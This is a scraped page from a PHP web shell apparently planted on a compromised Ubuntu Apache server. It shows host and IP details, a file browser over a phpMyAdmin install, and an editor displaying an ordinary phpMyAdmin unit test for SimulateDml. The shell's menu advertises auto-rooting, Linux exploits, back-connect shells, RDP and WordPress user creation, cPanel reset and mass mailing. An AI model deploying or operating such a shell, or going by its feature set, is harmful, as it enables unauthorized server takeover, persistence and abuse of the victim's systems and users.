Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 216.73.216.158
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
phpmyadmin /
tests /
unit /
Import /
[ HOME SHELL ]
Name
Size
Permission
Action
AjaxTest.php
347
B
-rw-r--r--
ImportTest.php
9.17
KB
-rw-r--r--
SimulateDmlTest.php
5.98
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : SimulateDmlTest.php
<?php declare(strict_types=1); namespace PhpMyAdmin\Tests\Import; use PhpMyAdmin\Core; use PhpMyAdmin\Current; use PhpMyAdmin\Html\Generator; use PhpMyAdmin\Import\SimulateDml; use PhpMyAdmin\SqlParser\Parser; use PhpMyAdmin\SqlParser\Statements\DeleteStatement; use PhpMyAdmin\SqlParser\Statements\UpdateStatement; use PhpMyAdmin\Tests\AbstractTestCase; use PhpMyAdmin\Url; use PHPUnit\Framework\Attributes\CoversClass; use PHPUnit\Framework\Attributes\DataProvider; use function count; #[CoversClass(SimulateDml::class)] class SimulateDmlTest extends AbstractTestCase { /** * @param list<non-empty-string> $columns * @param list<non-empty-list<string|int|null>> $result */ #[DataProvider('providerForTestGetMatchedRows')] public function testGetMatchedRows(string $sqlQuery, string $simulatedQuery, array $columns, array $result): void { Current::$database = 'PMA'; $dummyDbi = $this->createDbiDummy(); $dummyDbi->addSelectDb('PMA'); $dummyDbi->addResult($simulatedQuery, $result, $columns); $dbi = $this->createDatabaseInterface($dummyDbi); $object = new SimulateDml($dbi); $parser = new Parser($sqlQuery); /** @var DeleteStatement|UpdateStatement $statement */ $statement = $parser->statements[0]; $simulatedData = $object->getMatchedRows($sqlQuery, $parser, $statement); $matchedRowsUrl = Url::getFromRoute('/sql', [ 'db' => 'PMA', 'sql_query' => $simulatedQuery, 'sql_signature' => Core::signSqlQuery($simulatedQuery), ]); $dummyDbi->assertAllSelectsConsumed(); $dummyDbi->assertAllQueriesConsumed(); self::assertSame([ 'sql_query' => Generator::formatSql($sqlQuery), 'matched_rows' => count($result), 'matched_rows_url' => $matchedRowsUrl, ], $simulatedData); } /** @return array<string, array{string, string, list<non-empty-string>, list<non-empty-list<string|int|null>>}> */ public static function providerForTestGetMatchedRows(): array { // Data from table: // CREATE TABLE `t` AS // SELECT 1 AS `id`, 2 AS `a`, 'test' AS `b` UNION ALL // SELECT 2 AS `id`, 1 AS `a`, NULL AS `b` UNION ALL // SELECT 3 AS `id`, 1 AS `a`, NULL AS `b` UNION ALL // SELECT 4 AS `id`, 1 AS `a`, NULL AS `b` UNION ALL // SELECT 5 AS `id`, 2 AS `a`, 'test' AS `b` UNION ALL // SELECT 6 AS `id`, 2 AS `a`, NULL AS `b` return [ 'update statement set null' => [ 'UPDATE t SET `b` = NULL, a = a ORDER BY id DESC LIMIT 3', 'SELECT * FROM (' . 'SELECT *, a AS `a ``new```, NULL AS `b ``new``` FROM `t` ORDER BY id DESC LIMIT 3' . ') AS `pma_tmp`' . ' WHERE NOT (`a`, `b`) <=> (`a ``new```, `b ``new```)', ['id', 'a', 'b', 'a `new`', 'b `new`'], [[5, 2, 'test', 2, null]], ], 'update statement' => [ 'UPDATE `t` SET `a` = 20 WHERE `id` > 4', 'SELECT *' . ' FROM (SELECT *, 20 AS `a ``new``` FROM `t` WHERE `id` > 4) AS `pma_tmp`' . ' WHERE NOT (`a`) <=> (`a ``new```)', ['id', 'a', 'b', 'a `new`'], [ [5, 2, 'test', 20], [6, 2, null, 20], ], ], 'update statement false condition' => [ 'UPDATE `t` SET `a` = 20 WHERE 0', 'SELECT *' . ' FROM (SELECT *, 20 AS `a ``new``` FROM `t` WHERE 0) AS `pma_tmp`' . ' WHERE NOT (`a`) <=> (`a ``new```)', ['id', 'a', 'b', 'a `new`'], [], ], 'update statement no condition' => [ 'UPDATE `t` SET `a` = 2', 'SELECT *' . ' FROM (SELECT *, 2 AS `a ``new``` FROM `t`) AS `pma_tmp`' . ' WHERE NOT (`a`) <=> (`a ``new```)', ['id', 'a', 'b', 'a `new`'], [ [2, 1, null, 2], [3, 1, null, 2], [4, 1, null, 2], ], ], 'update order by limit' => [ 'UPDATE `t` SET `id` = 20 ORDER BY `id` ASC LIMIT 3', 'SELECT *' . ' FROM (SELECT *, 20 AS `id ``new``` FROM `t` ORDER BY `id` ASC LIMIT 3) AS `pma_tmp`' . ' WHERE NOT (`id`) <=> (`id ``new```)', ['id', 'a', 'b', 'id `new`'], [ [1, 2, 'test', 20], [2, 1, null, 20], [3, 1, null, 20], ], ], 'update duplicate set' => [ 'UPDATE `t` SET `id` = 2, `id` = 1 WHERE `id` = 1', 'SELECT *' . ' FROM (SELECT *, 1 AS `id ``new``` FROM `t` WHERE `id` = 1) AS `pma_tmp`' . ' WHERE NOT (`id`) <=> (`id ``new```)', ['id', 'a', 'b', 'id `new`'], [], ], 'delete statement' => [ 'DELETE FROM `t` WHERE `id` > 4', 'SELECT * FROM `t` WHERE `id` > 4', ['id', 'a', 'b'], [ [5, 2, 'test'], [6, 2, null], ], ], 'delete statement false condition' => [ 'DELETE FROM `t` WHERE 0', 'SELECT * FROM `t` WHERE 0', ['id', 'a', 'b'], [], ], 'delete statement order by limit' => [ 'DELETE FROM `t` ORDER BY `id` ASC LIMIT 3', 'SELECT * FROM `t` ORDER BY `id` ASC LIMIT 3', ['id', 'a', 'b'], [ [1, 2, 'test'], [2, 1, null], [3, 1, null], ], ], ]; } }
Close